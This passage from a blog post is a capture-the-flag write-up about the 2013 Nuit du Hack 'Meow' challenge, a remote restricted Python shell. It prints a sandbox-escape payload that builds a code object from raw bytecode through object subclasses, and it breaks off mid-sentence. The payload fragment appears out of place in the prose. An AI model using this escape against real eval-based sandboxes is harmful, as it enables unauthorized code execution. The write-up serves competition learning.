The Nuit du Hack CTF 2013 Quals round was taking place
yesterday. As usual, I’ll be posting a few writeups about fun
exercises and/or solutions from this CTF. If you want more, my
teammate w4kfu should be posting some writeups as well on his
blog soon.   lambda self,*a:'','__len__':(lambda
l:l('function')( l('code')(
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0,
()),('__class__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x
in ().__class__.__bases__[0].__subclasses__() if x.__name__ ==
n][0])})())  One of the exercises, called “Meow”, gave us a
remote restricted Python shell with most builtins disabled:
{'int': <type 'int'>, 'dir': <built-in function dir>, 'repr':
<built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}  A few functions were
available, namely kitty() displaying an ASCII cat, and
auth(password). I assumed our goal was to bypass the
authentication or to find the password. Unfortunately, our
Python commands are passed to eval in ex